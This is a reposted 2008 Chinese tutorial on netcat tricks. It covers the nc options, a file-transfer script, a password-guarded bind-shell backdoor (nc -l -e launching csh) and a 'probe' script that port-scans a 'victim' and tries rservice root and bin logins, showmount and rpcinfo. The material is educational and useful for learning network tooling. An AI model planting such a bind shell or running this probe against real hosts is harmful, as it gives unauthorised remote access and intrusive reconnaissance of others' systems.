分享
 
 
 

netcat(即nc)使用技巧

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

nc使用技巧

nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。

一、基本使用

Quack# nc -h

[v1.10]

想要连接到某处: nc [-options] hostname port[s] [ports] ...

绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

参数:

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出――用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉――用于扫描时

其中端口号可以指定一个或者用lo-hi式的指定范围。

二、用于传输文件――ncp

#! /bin/sh

## 类似于rcp,但是是用netcat在高端口做的

## 在接收文件的机器上做""ncp targetfile""

## 在发送文件的机器上做""ncp sourcefile receivinghost""

## 如果调用了 ""nzp"" ,会将传输文件压缩

## 这里定义你想使用的端口,可以自由选择

MYPORT=23456

## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改

# PATH=${HOME}:${PATH} ; export PATH

## 下面这几行检查参数输入情况

test ""$3"" && echo ""too many args"" && exit 1

test ! ""$1"" && echo ""no args?"" && exit 1

me=`echo $0 | sed ’s+.*/++’`

test ""$me"" = ""nzp"" && echo ’[compressed mode]’

# if second arg, it’s a host to send an [extant] file to.

if test ""$2"" ; then

test ! -f ""$1"" && echo ""can’t find $1"" && exit 1

if test ""$me"" = ""nzp"" ; then

compress -c 〈 ""$1"" | nc -v -w 2 $2 $MYPORT && exit 0

else

nc -v -w 2 $2 $MYPORT 〈 ""$1"" && exit 0

fi

echo ""transfer FAILED!""

exit 1

fi

# 是否在接收文件机器当前目录有同名文件

if test -f ""$1"" ; then

echo -n ""Overwrite $1? ""

read aa

test ! ""$aa"" = ""y"" && echo ""[punted!]"" && exit 1

fi

# 30 seconds oughta be pleeeeenty of time, but change if you want.

if test ""$me"" = ""nzp"" ; then

# 注意这里nc的用法,结合了重定向符号和管道

nc -v -w 30 -p $MYPORT -l 〈 /dev/null | uncompress -c 〉 ""$1"" && exit 0

else

nc -v -w 30 -p $MYPORT -l 〈 /dev/null 〉 ""$1"" && exit 0

fi

echo ""transfer FAILED!""

# clean up, since even if the transfer failed, $1 is already trashed

rm -f ""$1""

exit 1

这样的话,我只要在A机器上先 QuackA# ncp ../abcd

listening on [any] 23456 ...

然后在另一台机器B上

QuackB#ncp abcd 192.168.0.2

quackb [192.168.0.1] 23456 (?)

A机上出现

open connect to [192.168.0.2] from quackb [192.168.0.1] 1027

#

查看一下,文件传输完毕。

三、用于绑定端口――bsh

首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工

具是无法利用的――要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

#! /bin/sh

## 一个利用nc的绑定shell并且带有密码保护的脚本

## 带有一个参数,即端口号

NC=nc

case ""$1"" in

?* )

LPN=""$1""

export LPN

sleep 1

#注意这里nc的用法,参数-l是lister,-e是执行重定向

echo ""-l -p $LPN -e $0"" ; $NC -l -p $LPN -e $0 〉 /dev/null 2〉&1 &

echo ""launched on port $LPN""

exit 0

;;

esac

# here we play inetd

echo ""-l -p $LPN -e $0"" ; $NC -l -p $LPN -e $0 〉 /dev/null 2〉&1 &

while read qq ; do

case ""$qq"" in

# 这里就是弱密码保护了,密码是quack

quack )

cd /

exec csh -i

;;

esac

done

要看看它是怎么使用的么?

quack# ./bsh 6666 〈-------输入,后面是程序输出

-l -p 6666 -e ./bsh

launched on port 6666

quack#

quack## nc localhost 6666 〈----------输入

-l -p 6666 -e ./bsh

quack 〈----------输入,密码验证

Warning: imported path contains relative components

Warning: no access to tty (Bad file descriptor).

Thus no job control in this shell.

Cracker#

四、 用于端口扫描――probe

在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都

需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。

#! /bin/sh

## launch a whole buncha shit at yon victim in no particular order; capture

## stderr+stdout in one place. Run as root for rservice and low -p to work.

## Fairly thorough example of using netcat to collect a lot of host info.

## Will set off every intrusion alarm in existence on a paranoid machine!

# 该目录里有一些小工具

DDIR=../data

# 指定网关

GATE=192.157.69.11

# might conceivably wanna change this for different run styles

UCMD=’nc -v -w 8’

test ! ""$1"" && echo Needs victim arg && exit 1

echo ’’ | $UCMD -w 9 -r ""$1"" 13 79 6667 2〉&1

echo ’0’ | $UCMD ""$1"" 79 2〉&1

# if LSRR was passed thru, should get refusal here:

# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情

$UCMD -z -r -g $GATE ""$1"" 6473 2〉&1

$UCMD -r -z ""$1"" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2〉&1

# -s `hostname` may be wrong for some multihomed machines

echo ’UDP echoecho!’ | nc -u -p 7 -s `hostname` -w 3 ""$1"" 7 19 2〉&1

echo ’113,10158’ | $UCMD -p 10158 ""$1"" 113 2〉&1

rservice bin bin | $UCMD -p 1019 ""$1"" shell 2〉&1

echo QUIT | $UCMD -w 8 -r ""$1"" 25 158 159 119 110 109 1109 142-144 220 23 2〉&1

# newline after any telnet trash

echo ’’

echo PASV | $UCMD -r ""$1"" 21 2〉&1

echo ’GET /’ | $UCMD -w 10 ""$1"" 80 81 210 70 2〉&1

# sometimes contains useful directory info:

# 知道robots.txt是什么文件么?;)

echo ’GET /robots.txt’ | $UCMD -w 10 ""$1"" 80 2〉&1

# now the big red lights go on

# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到

rservice bin bin 9600/9600 | $UCMD -p 1020 ""$1"" login 2〉&1

rservice root root | $UCMD -r ""$1"" exec 2〉&1

echo ’BEGIN big udp -- everything may look ""open"" if packet-filtered’

data -g 〈 ${DDIR}/nfs-0.d | $UCMD -i 1 -u ""$1"" 2049 | od -x 2〉&1

# no wait-time, uses RTT hack

nc -v -z -u -r ""$1"" 111 66-70 88 53 87 161-164 121-123 213 49 2〉&1

nc -v -z -u -r ""$1"" 137-140 694-712 747-770 175-180 2103 510-530 2〉&1

echo ’END big udp’

$UCMD -r -z ""$1"" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2〉&1

# Use our identd-sniffer!

iscan ""$1"" 21 25 79 80 111 53 6667 6000 2049 119 2〉&1

# this gets pretty intrusive, but what the fuck. Probe for portmap first

if nc -w 5 -z -u ""$1"" 111 ; then

showmount -e ""$1"" 2〉&1 #象showmount和rpcinfo的使用,可能会被逮到;)

rpcinfo -p ""$1"" 2〉&1

fi

exit 0

感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,

这样扫描会留下大量的痕迹,系统管理员会额外小心;)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有